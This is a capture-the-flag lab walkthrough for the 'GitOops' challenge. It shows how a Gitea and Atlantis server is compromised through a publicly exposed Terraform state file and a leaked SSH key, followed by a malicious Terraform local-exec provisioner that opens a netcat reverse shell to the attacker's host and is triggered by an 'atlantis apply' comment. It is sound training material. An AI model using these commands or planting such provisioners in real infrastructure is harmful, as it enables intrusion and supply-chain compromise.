GitOops

Challenge Lab (Medium) - by Andrew Aiken

Challenge Lab: GitOops (Medium)www.hacksmarter.org

The following post by 0xb0b is licensed under CC BY 4.0

---

Scenario

Objective / Scope

Hack Smarter been retained to conduct a targeted penetration test against a critical asset within the client's internal network. The scope is limited to a specific high-value endpoint identified as a primary development server (and any cloud assets identified on the host).

Due to the sensitive nature of the intellectual property and proprietary source code likely resident on this machine, the client requires a comprehensive assessment of its security posture to prevent potential supply chain compromise.

Initial Access

You have been provided with VPN access to their internal environment, but no other information.

Note From Tyler

This lab was originally created for vmGoat which is an open-source project created by Andrew. If you'd like to learn more about his project, you can check out the Github repo - vmGoat.

Summary

Summary

In this GitOops we begin with only VPN access to an internal development server and no prior credentials. Enumeration reveals a Linux-based DevOps environment hosting a Gitea instance at gitoops.local, an additional Git-over-SSH service on port 2222, and an Atlantis server at atlantis.gitoops.local used to automate Terraform workflows. Inspecting the publicly accessible gitCorp/public repository exposes Terraform configuration files that define AWS infrastructure, including an S3 backend storing the Terraform state file. Accessing the referenced S3 bucket directly discloses terraform.tfstate, which contains sensitive data including the private SSH key for the EC2 instance backing the Git server. After reconstructing the key format, we successfully authenticate via SSH as alexis.

On the host, process enumeration reveals Atlantis running with a Gitea token and a repo allowlist for gitCorp/private. Recognizing that Atlantis automatically executes terraform init, plan, and apply on pull request comments, we pivot to supply chain compromise. Using the recovered SSH key, we clone the private repository over Git SSH, create a malicious Terraform configuration leveraging a null_resource with a local-exec provisioner to execute a reverse shell, and push it to a new branch. We then create a pull request via the Gitea API and trigger execution by commenting atlantis apply. Atlantis processes the workflow and executes our injected Terraform code on the server, resulting in a root shell. With full system compromise achieved through infrastructure-as-code abuse and cloud misconfiguration, we retrieve the final flag from /root/flag.txt.

Recon

We use rustscan -b 500 -a 10.0.18.73 -- -sC -sV -Pn to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts -sC, service and version detection -sV, and treats the host as online without ICMP echo -Pn.

A batch size of 500 trades speed for stability, the default 1500 balances both, while much larger sizes increase throughput but risk missed responses and instability.

rustscan -b 500 -a 10.0.18.73 -- -sC -sV -Pn

The target machine appears to be a Linux-based Git server environment. It exposes multiple SSH services on port 22 and 2222, an HTTP service on port 80 redirecting to HTTPS, and an HTTPS service on port 443 hosting a Gitea instance.

Port 22 is running OpenSSH 9.6p1 (Ubuntu).

Port 80 runs nginx 1.24.0 Ubuntu and redirects traffic to HTTPS, enforcing encrypted communication. Port 443 serves Gitea, confirmed by the HTTP title and TLS certificate. The SSL certificate is self-signed for the internal domain gitoops.local, with SAN entries for gitoops.local and *.gitoops.local, indicating this system is intended to operate within a private/internal DevOps environment.

Port 2222 is also running SSH, but the banner SSH-2.0-Go suggests a Go-based SSH service, which may be tied to the Git platform itself - commonly used for Git-over-SSH operations.

From our Nmap result, we extract the SAN entries and create an entry in our /etc/hosts file.

gitoops.local

Since other subdomains or vhosts may exist, we perform a vhost scan using FFuF and find atlantis.gitoops.local.

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.gitoops.local" -u https://gitoops.local -fw 1072 -k

gitoops.local

We'll start by enumerating the Gitea instance at gitoops.local. At explore, we see the publicly accessible repositories and find the public repository of gitCorp.

In this directory, we find the following 5 terraform files:

data.tf
ec2.tf
main.tf
settings.tf
variables.tf

Terraform is an Infrastructure-as-Code (IaC) tool created by HashiCorp that allows to define cloud infrastructure using code instead of manually setting up the infrastructure in a dashboard.

For example, Terraform can be used to create virtual machines such as EC2 instances in AWS. It can also provision storage resources like S3 buckets. Networking components such as Virtual Private Clouds (VPCs), subnets, route tables, and security groups can all be defined and deployed through Terraform. Additionally, it can configure DNS records using services like Route53, create Identity and Access Management (IAM) roles and policies, generate SSH keys, and handle many other cloud resources.

We may find valuable loot in these files for our initial access, or even a way to customize them later and use them to our advantage to compromise the system.

We pull the repository and inspect the files.

GIT_SSL_NO_VERIFY=true git clone https://gitoops.local/gitCorp/public.git

The following configuration data.tf does not create new infrastructure, but instead looks up an existing VPC and subnet tagged “vmGoat,” retrieves the most recent official Ubuntu 22.04 AMI from Amazon, and fetches a public Route53 DNS zone defined by a variable so those existing resources can be used when provisioning other components.

data.tf

data "aws_vpc" "vpc" {
  filter {
    name   = "tag:Name"
    values = ["vmGoat"]
  }
}

data "aws_subnet" "subnet" {
  vpc_id            = data.aws_vpc.vpc.id

  filter {
    name   = "tag:Name"
    values = ["vmGoat"]
  }
}

data "aws_ami" "ubuntu" {
  most_recent = true
  owners      = ["amazon"]

  filter {
    name   = "name"
    values = ["ubuntu/images/hvm-ssd/ubuntu-jammy-22.04-amd64-server-*"]
  }

  filter {
    name   = "architecture"
    values = ["x86_64"]
  }

  filter {
    name   = "root-device-type"
    values = ["ebs"]
  }

  filter {
    name   = "virtualization-type"
    values = ["hvm"]
  }
}

data "aws_route53_zone" "public" {
  name         = var.dns_zone_domain
  private_zone = false
}

The ec2.tf configuration creates a security group that allows anyone to access the server over HTTP 80, HTTPS 443, and SSH 22. It provisions a public Ubuntu EC2 instance named gitoops in the specified subnet with a fixed private IP address, a public IP address, and the previously defined SSH key attached for remote access.

ec2.tf

resource "aws_security_group" "gitoops" {
  name        = "gitoops"
  description = "Allow traffic to vmGoat gitoops server"
  vpc_id      = data.aws_vpc.vpc.id

  ingress {
    description = "HTTPS"
    from_port   = 443
    to_port     = 443
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  ingress {
    description = "HTTP"
    from_port   = 80
    to_port     = 80
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  ingress {
    description = "SSH into server"
    from_port   = 22
    to_port     = 22
    protocol    = "tcp"
    cidr_blocks = ["0.0.0.0/0"]
  }

  egress {
    from_port        = 0
    to_port          = 0
    protocol         = "-1"
    cidr_blocks      = ["0.0.0.0/0"]
    ipv6_cidr_blocks = ["::/0"]
  }

  tags = {
    Name = "gitoops"
  }
}

resource "aws_instance" "gitoops" {
  ami                         = data.aws_ami.ubuntu.image_id
  instance_type               = "t3.medium"
  subnet_id                   = data.aws_subnet.subnet.id
  vpc_security_group_ids      = [aws_security_group.gitoops.id]
  associate_public_ip_address = true
  private_ip                  = "10.1.0.123"
  key_name                    = aws_key_pair.ssh_key.id

  tags = {
    Name = "gitoops"
  }
}

The main configuraiton creates a public DNS A record that points the domain to the EC2 instance' public IP address, generates a new 4096-bit RSA private key, and uploads its public portion to AWS as an EC2 key pair so that the instance can be accessed via SSH using the generated private key.

main.tf

resource "aws_route53_record" "gitoops" {
  zone_id = data.aws_route53_zone.public.zone_id
  name    = data.aws_route53_zone.public.name
  type    = "A"
  ttl     = "300"
  records = [aws_instance.gitoops.public_ip]
}

resource "tls_private_key" "access_key" {
  algorithm = "RSA"
  rsa_bits  = 4096
}

resource "aws_key_pair" "ssh_key" {
  key_name   = "gitoops"
  public_key = tls_private_key.access_key.public_key_openssh
}

The settings.tf now finally holds something interesting. The configuration specifies the required Terraform and provider versions, stores the infrastructure state file in an S3 bucket named gitoops-4ulyqvxd8nn6hlsc with the key gitcorp/terraform.tfstate in the us-east-1 region, and configures the AWS provider to operate in that region while automatically tagging all created resources as part of the gitoops project and managed by Terraform.

An S3 bucket is a cloud-based object storage container in Amazon Web Services. It is used to store files, called objects which can include anything from backups and documents to application assets and configuration files.

Access to S3 buckets is controlled through permissions, and if those permissions are misconfigured, the contents can become publicly accessible.

In this case, the S3 bucket is being used as a Terraform backend, meaning it stores the terraform.tfstate file. The Terraform state file is extremely sensitive because it contains a detailed record of all provisioned infrastructure and often includes secrets in plaintext.

A Terraform state file can contain:

• SSH private keys

• Cloud access keys and tokens

• IAM role references

• Internal IP addresses

• Resource IDs

• Database connection strings

• Passwords or API tokens (if defined in configuration)

• Full infrastructure topology

This could mean the following and open the way for us to gain an initial foothold:

Cloud Misconfiguration → Sensitive Data Exposure → Infrastructure Compromise

settings.tf

terraform {
  required_version = "1.11.4"

  backend "s3" {
    bucket = "gitoops-4ulyqvxd8nn6hlsc"
    key    = "gitcorp/terraform.tfstate"
    region = "us-east-1"
  }

  required_providers {
    aws = {
      source  = "hashicorp/aws"
      version = "5.94.1"
    }
    tls = {
      source  = "hashicorp/tls"
      version = "4.0.6"
    }
  }
}

provider "aws" {
  region = "us-east-1"

  default_tags {
    tags = {
      project   = "gitoops"
      terraform = "true"
    }
  }
}

The following configuration just defines a string input named dns_zone_domain with the default value gitoops.local. that specifies the Route53 DNS domain to be used when creating or referencing DNS records.

variables.tf

variable "dns_zone_domain" {
  type        = string
  default     = "gitoops.local."
  description = "Route53 domain"
}

We have identified a possible attack vector via the terafiles. In the activity feed, we can still see which users are involved in the project. These user names could be useful later on. We write them down.

users.txt

alexis

atlantis.gitoops.local

Before we proceed with our potential identified attack vector, let's take a look at the service at atlantis.gitoops.local.

https://atlantis.gitoops.local/

According to ChatGPT, Atlantis is an open-source tool that automates Terraform workflows in pull requests:

Atlantis

Atlantis is an open-source tool that automates Terraform workflows in pull requests. It listens for GitHub/GitLab/Bitbucket webhooks and runs terraform plan and terraform apply when users comment on a PR, helping teams safely review and manage infrastructure changes as code. It’s commonly used with Terraform to manage cloud infrastructure such as AWS in a collaborative, audited way.

References

• Official site: https://www.runatlantis.io/

• GitHub repository: https://github.com/runatlantis/atlantis

• Terraform documentation: https://developer.hashicorp.com/terraform/docs

That's really interesting. If we are able to trigger workflows via pull requests and could create a workflow ourselves, we could also use this to compromise the underlying infrastructure by injecting malicious Terraform code that Atlantis would automatically execute.

Shell as alexis

We don't have access to git repository yet, so we'll continue with the findings from the repo and take a closer look at the S3 bucket.

Recalling the settings.tf file:

settings.tf

backend "s3" {
  bucket = "gitoops-4ulyqvxd8nn6hlsc"
  key    = "gitcorp/terraform.tfstate"
  region = "us-east-1"
}

We try to access the S3 Bucket an request the contents of the key gitcorp/terraform.tfstate.

curl http://gitoops-4ulyqvxd8nn6hlsc.s3.amazonaws.com/gitcorp/terraform.tfstate

We actuially retrieved the Terraform state file terraform.tfstate, including sensitive material with the SSH private key for the EC2 instance being publicly exposed.

Looking at the instance "key_name": "gitoops" and "public_ip": "1.1.1.1" so it is actually the EC2 instance we have infront of us.

We copy openssh key

nano id_rsa

We need to fix the ssh key with replacing the newlines with actual ones.

cat id_rsa | sed 's/\\n/\n/g' > fixed_id_rsa

Edit the correct permissions to the key...

chmod 600 fixed_id_rsa 

... and use the key to log in. We try with the users ubuntu and alexis (from our Gitea enumeration) and are able to log in as alexis via SSH using the private key.

ssh -i fixed_id_rsa [e-mail]

Shell as root

As alexis, we find the config repo.yaml for the repo inside the /opt/atlantis folder. Nothing exciting at first glance.

We scan again with linpeas to make sure we haven't overlooked anything.

./linpeas.sh

We see some problematic capabilities set for snap-confie, but we can't exploit them. A false-positive.

If we look at the processes running in the background,...

ps aux

... we find the Atlantis server running.

Recalling our idea from initial enumeration, that we could use the mechanics of atlantis to inject malicious execution via triggering workflows via pull requests.

If we look closeley we find the gitea-token used to access a private repository of gitCorp.

ps aux | grep atlantis

=http://atlantis.gitoops.local --gitea-base-url=http --gitea-base-url=https://gitoops.local --gitea-user=atlantis --gitea-token=REDACTED --gitea-webhook-secret=82df5474-2933-11ef-9454-0242ac120002 --gitea-page-size=30 --repo-allowlist=gitoops.local/gitCorp/private --repo-config=/opt/atlantis/repo.yaml

So we know from research that Atlantis executes:

• terraform init

• terraform plan

• terraform apply

That means if wecan modify Terraform code in the allowed repo:

gitoops.local/gitCorp/private

we control what Terraform executes.

Next things to do:

• Confirm we can push to the used repository.

• Add malicious Terraform.

• Trigger atlantis apply.

• Get shell.

• Check privileges.

• Escalate if needed.

Unfortunately, the steps using tokens are not effective, but are shown here for the sake of completeness.

Hint

We could also use the SSH key we already gathered.

We can clone the repo as follows:

GIT_SSL_NO_VERIFY=true git clone https://atlantis:[e-mail]/gitCorp/private.git

We read the README.md and it confirms that this repo is used for Terraform code.

We set local username and email.

git config user.name "alexis"

git config user.email "[e-mail]"

Next, we will prepare a terraform configuration that executes a reverse shell when loaded.

pwn.tf

resource "null_resource" "pwn" {
  provisioner "local-exec" {
    command = "busybox nc 10.200.36.19 4445 -e bash"
  }
}

Next, we create a new branch...

git checkout -b pwn

... and the file:

git add pwn.tf  

git commit -m "add terraform resource"

But our push fails. We do not have write permission using the token.

The atlantis token user does NOT have write permission to the repository

GIT_SSL_NO_VERIFY=true git push origin pwn

We could have checked that beforehand using the Gitea api.

curl -k -H "Authorization: token REDACTED" https://gitoops.local/api/v1/user | jq

curl -k -H "Authorization: token REDACTED" https://gitoops.local/api/v1/user/repos | jq

[
  {
    "id": 2,
    "owner": {
      "id": 2,
      "login": "gitCorp",
      "login_name": "",
      "source_id": 0,
      "full_name": "",
      "email": "[e-mail]",
      "avatar_url": "https://gitoops.local/avatars/0eac2817a652978ad37197be708e0a2f",
      "html_url": "https://gitoops.local/gitCorp",
      "language": "",
      "is_admin": false,
      "last_login": "0001-01-01T00:00:00Z",
      "created": "2025-10-29T20:17:37Z",
      "restricted": false,
      "active": false,
      "prohibit_login": false,
      "location": "",
      "website": "",
      "description": "string",
      "visibility": "public",
      "followers_count": 0,
      "following_count": 0,
      "starred_repos_count": 0,
      "username": "gitCorp"
    },
    "name": "private",
    "full_name": "gitCorp/private",
    "description": "Private repository",
    "empty": false,
    "private": true,
    "fork": false,
    "template": false,
    "mirror": false,
    "size": 27,
    "language": "",
    "languages_url": "https://gitoops.local/api/v1/repos/gitCorp/private/languages",
    "html_url": "https://gitoops.local/gitCorp/private",
    "url": "https://gitoops.local/api/v1/repos/gitCorp/private",
    "link": "",
    "ssh_url": "ssh://[e-mail]:2222/gitCorp/private.git",
    "clone_url": "https://gitoops.local/gitCorp/private.git",
    "original_url": "",
    "website": "",
    "stars_count": 0,
    "forks_count": 0,
    "watchers_count": 3,
    "open_issues_count": 0,
    "open_pr_counter": 0,
    "release_counter": 0,
    "default_branch": "main",
    "archived": false,
    "created_at": "2025-10-29T20:17:45Z",
    "updated_at": "2025-10-29T20:18:05Z",
    "archived_at": "1970-01-01T00:00:00Z",
    "permissions": {
      "admin": false,
      "push": false,
      "pull": true
    },
    "has_code": false,
    "has_issues": true,
    "internal_tracker": {
      "enable_time_tracker": true,
      "allow_only_contributors_to_track_time": true,
      "enable_issue_dependencies": true
    },
    "has_wiki": true,
    "has_pull_requests": true,
    "has_projects": true,
    "projects_mode": "all",
    "has_releases": true,
    "has_packages": false,
    "has_actions": false,
    "ignore_whitespace_conflicts": false,
    "allow_merge_commits": true,
    "allow_rebase": true,
    "allow_rebase_explicit": true,
    "allow_squash_merge": true,
    "allow_fast_forward_only_merge": true,
    "allow_rebase_update": true,
    "allow_manual_merge": false,
    "autodetect_manual_merge": false,
    "default_delete_branch_after_merge": false,
    "default_merge_style": "merge",
    "default_allow_maintainer_edit": false,
    "avatar_url": "",
    "internal": false,
    "mirror_interval": "",
    "object_format_name": "sha1",
    "mirror_updated": "0001-01-01T00:00:00Z",
    "topics": [],
    "licenses": []
  },
  {
    "id": 1,
    "owner": {
      "id": 2,
      "login": "gitCorp",
      "login_name": "",
      "source_id": 0,
      "full_name": "",
      "email": "",
      "avatar_url": "https://gitoops.local/avatars/0eac2817a652978ad37197be708e0a2f",
      "html_url": "https://gitoops.local/gitCorp",
      "language": "",
      "is_admin": false,
      "last_login": "0001-01-01T00:00:00Z",
      "created": "2025-10-29T20:17:37Z",
      "restricted": false,
      "active": false,
      "prohibit_login": false,
      "location": "",
      "website": "",
      "description": "string",
      "visibility": "public",
      "followers_count": 0,
      "following_count": 0,
      "starred_repos_count": 0,
      "username": "gitCorp"
    },
    "name": "public",
    "full_name": "gitCorp/public",
    "description": "Public repository",
    "empty": false,
    "private": false,
    "fork": false,
    "template": false,
    "mirror": false,
    "size": 37,
    "language": "HCL",
    "languages_url": "https://gitoops.local/api/v1/repos/gitCorp/public/languages",
    "html_url": "https://gitoops.local/gitCorp/public",
    "url": "https://gitoops.local/api/v1/repos/gitCorp/public",
    "link": "",
    "ssh_url": "ssh://[e-mail]:2222/gitCorp/public.git",
    "clone_url": "https://gitoops.local/gitCorp/public.git",
    "original_url": "",
    "website": "",
    "stars_count": 0,
    "forks_count": 0,
    "watchers_count": 3,
    "open_issues_count": 0,
    "open_pr_counter": 0,
    "release_counter": 0,
    "default_branch": "main",
    "archived": false,
    "created_at": "2025-10-29T20:17:44Z",
    "updated_at": "2025-10-29T20:18:14Z",
    "archived_at": "1970-01-01T00:00:00Z",
    "permissions": {
      "admin": false,
      "push": false,
      "pull": true
    },
    "has_code": false,
    "has_issues": true,
    "internal_tracker": {
      "enable_time_tracker": true,
      "allow_only_contributors_to_track_time": true,
      "enable_issue_dependencies": true
    },
    "has_wiki": true,
    "has_pull_requests": true,
    "has_projects": true,
    "projects_mode": "all",
    "has_releases": true,
    "has_packages": false,
    "has_actions": false,
    "ignore_whitespace_conflicts": false,
    "allow_merge_commits": true,
    "allow_rebase": true,
    "allow_rebase_explicit": true,
    "allow_squash_merge": true,
    "allow_fast_forward_only_merge": true,
    "allow_rebase_update": true,
    "allow_manual_merge": false,
    "autodetect_manual_merge": false,
    "default_delete_branch_after_merge": false,
    "default_merge_style": "merge",
    "default_allow_maintainer_edit": false,
    "avatar_url": "",
    "internal": false,
    "mirror_interval": "",
    "object_format_name": "sha1",
    "mirror_updated": "0001-01-01T00:00:00Z",
    "topics": [],
    "licenses": []
  }
]

Instead of the token, we'll try using the OPENSSH key from the S3 bucket. We start over, delete the folder and repeat our steps. We clone the repo using the SSH key and are successful.

GIT_SSH_COMMAND="ssh -i $(pwd)/fixed_id_rsa -o IdentitiesOnly=yes" \
git clone ssh://[e-mail]:2222/gitCorp/private.git

Prepare the pwn.tf reverse shell configuration.

pwn.tf

resource "null_resource" "pwn" {
  provisioner "local-exec" {
    command = "busybox nc 10.200.36.19 4445 -e bash"
  }
}

Create a branch.

git checkout -b pwn

... and the file:

git add pwn.tf  

git commit -m "add terraform resource"

Next, we push the changes to tha branch and are successful:

GIT_SSH_COMMAND="ssh -i $(pwd)/../fixed_id_rsa -o IdentitiesOnly=yes" \
git push --set-upstream origin pwn

We can also confirm that the code is pushed using the api:

curl -X GET -k https://gitoops.local/api/v1/repos/gitCorp/private/branches \
  -H "Authorization: token REDACTED"

Next, we need to perform a pull request, but cannot use the GUI of Gitea, since we are missing the credentials of alexis. But we can also use the Gitea API for this.

curl -X POST -k https://gitoops.local/api/v1/repos/gitCorp/private/pulls \
  -H "Authorization: token REDACTED" \
  -H "Content-Type: application/json" \
  -d '{"base": "main", "head": "pwn", "title": "Terraform revshell"}'

The job pops up at atlantis.gitoops.local:

Apply the pull request like depicted in our enumeration, we need to comment atlantis apply in the pull request.

We prepare a listener using Penelope.

GitHub - brightio/penelope: Penelope Shell HandlerGitHub

Next, we make the comment.

curl -X POST -k https://gitoops.local/api/v1/repos/gitCorp/private/issues/1/comments \
  -H "Authorization: token REDACTED" \
  -H "Content-Type: application/json" \
  -d '{"body": "atlantis apply"}'

We then should receive a connection back. We are root and find the final flag at /root/flag.txt.

Recommendation

Don't miss out on Andrew Aiken's official write-up:

Official GitOops WalkthroughInfraSec